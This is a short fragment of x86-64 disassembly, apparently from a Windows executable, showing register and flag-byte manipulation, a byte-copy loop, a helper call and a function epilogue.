test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400178ae
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001787e
mov word [rbx], r13w
jmp 0x1400178de
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001788b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400178de
cmp word [rsp + 0x70], r13w
jne 0x1400178bb
cmp rbx, r14
je 0x140017878
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400183c8
cmp word [rsp + 0x70], r13w
je 0x1400178e1
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140035560]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400178db
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400178e1